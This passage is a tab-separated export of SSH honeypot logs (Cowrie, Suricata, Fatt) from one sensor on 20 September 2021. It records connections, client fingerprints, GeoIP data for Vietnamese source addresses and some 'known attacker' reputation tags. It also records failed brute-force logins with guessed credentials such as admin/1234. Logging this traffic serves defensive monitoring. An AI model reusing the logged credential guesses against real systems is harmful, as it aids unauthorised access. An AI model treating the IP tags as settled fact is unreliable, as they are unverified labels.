"diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "8f0fa4d51bfa", "@version": "1", "timestamp": "2021-09-20T11:09:35.075037Z", "@timestamp": "2021-09-20T11:09:35.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25147	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:35.16955+03	2021-09-20 14:15:09.727501+03	{"_id": "nAblAnwBvYTbRNuEnxjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [jennifer/jennifer] failed", "session": "13aa9a738d1b", "@version": "1", "password": "jennifer", "username": "jennifer", "timestamp": "2021-09-20T11:09:35.169550Z", "@timestamp": "2021-09-20T11:09:35.169Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25148	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:35.375269+03	2021-09-20 14:15:09.7285+03	{"_id": "nQblAnwBvYTbRNuEnxjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "d49b9c58525c", "@version": "1", "duration": 2.7601351737976074, "timestamp": "2021-09-20T11:09:35.375269Z", "@timestamp": "2021-09-20T11:09:35.375Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25149	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:35.402759+03	2021-09-20 14:15:09.730499+03	{"_id": "ngblAnwBvYTbRNuEnxjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "9bc380dfc344", "@version": "1", "duration": 3.2515316009521484, "timestamp": "2021-09-20T11:09:35.402759Z", "@timestamp": "2021-09-20T11:09:35.402Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25150	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:09:35.0741+03	2021-09-20 14:15:09.7315+03	{"_id": "nwblAnwBvYTbRNuEohgK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 139072851854069, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 55948, "dest_port": 22, "timestamp": "2021-09-20T11:09:35.074100Z", "@timestamp": "2021-09-20T11:09:35.074Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25151	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:35.858998+03	2021-09-20 14:15:09.7325+03	{"_id": "oAblAnwBvYTbRNuEoxic", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [admin/1234] failed", "session": "dc35b2f07021", "@version": "1", "password": "1234", "username": "admin", "timestamp": "2021-09-20T11:09:35.858998Z", "@timestamp": "2021-09-20T11:09:35.858Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25152	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:37.057712+03	2021-09-20 14:15:09.7335+03	{"_id": "oQblAnwBvYTbRNuEphj-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45084, "timestamp": "2021-09-20T11:09:37.057712", "@timestamp": "2021-09-20T11:09:37.057Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25153	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:36.449232+03	2021-09-20 14:15:09.7355+03	{"_id": "pQblAnwBvYTbRNuEpxiU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "13aa9a738d1b", "@version": "1", "duration": 2.449680805206299, "timestamp": "2021-09-20T11:09:36.449232Z", "@timestamp": "2021-09-20T11:09:36.449Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
25175	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:32.150563+03	2021-09-20 14:15:09.7645+03	{"_id": "PAblAnwBvYTbRNuElBgH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:48866 (192.168.176.2:22) [session: 9bc380dfc344]", "session": "9bc380dfc344", "@version": "1", "protocol": "ssh", "src_port": 48866, "dest_port": 22, "timestamp": "2021-09-20T11:09:32.150563Z", "@timestamp": "2021-09-20T11:09:32.150Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25154	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:37.33586+03	2021-09-20 14:15:09.736503+03	{"_id": "sQblAnwBvYTbRNuEqRjb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1404720257222515, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45084, "dest_port": 22, "timestamp": "2021-09-20T11:09:37.335860Z", "@timestamp": "2021-09-20T11:09:37.335Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25155	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:37.996476+03	2021-09-20 14:15:09.7375+03	{"_id": "swblAnwBvYTbRNuEqhjn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 60670, "timestamp": "2021-09-20T11:09:37.996476", "@timestamp": "2021-09-20T11:09:37.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25156	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:37.9928+03	2021-09-20 14:15:09.739502+03	{"_id": "uAblAnwBvYTbRNuEqxh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:60670 (192.168.176.2:22) [session: 73161241e082]", "session": "73161241e082", "@version": "1", "protocol": "ssh", "src_port": 60670, "dest_port": 22, "timestamp": "2021-09-20T11:09:37.992800Z", "@timestamp": "2021-09-20T11:09:37.992Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
25157	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:37.995806+03	2021-09-20 14:15:09.7405+03	{"_id": "vQblAnwBvYTbRNuEqxh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "73161241e082", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:37.995806Z", "@timestamp": "2021-09-20T11:09:37.995Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25158	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:38.151184+03	2021-09-20 14:15:09.7415+03	{"_id": "vwblAnwBvYTbRNuEqxh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a945c314fc03", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:38.151184Z", "@timestamp": "2021-09-20T11:09:38.151Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25198	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:09:33.351386+03	2021-09-20 14:15:09.7955+03	{"_id": "ZAblAnwBvYTbRNuEmhg4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 26326, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1640475306843290, "@version": "1", "in_iface": "enp5s0", "src_port": 38067, "dest_port": 53, "timestamp": "2021-09-20T11:09:33.351386Z", "@timestamp": "2021-09-20T11:09:33.351Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
25159	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:38.309497+03	2021-09-20 14:15:09.742472+03	{"_id": "xQblAnwBvYTbRNuEqxh_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "73161241e082", "@version": "1", "timestamp": "2021-09-20T11:09:38.309497Z", "@timestamp": "2021-09-20T11:09:38.309Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25160	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:38.274221+03	2021-09-20 14:15:09.744512+03	{"_id": "xgblAnwBvYTbRNuErRjF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 1950142449179992, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 60670, "dest_port": 22, "timestamp": "2021-09-20T11:09:38.274221Z", "@timestamp": "2021-09-20T11:09:38.274Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
25161	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:09:38.430383+03	2021-09-20 14:15:09.7455+03	{"_id": "xwblAnwBvYTbRNuErRjF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 2226768407773155, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 34002, "dest_port": 22, "timestamp": "2021-09-20T11:09:38.430383Z", "@timestamp": "2021-09-20T11:09:38.430Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
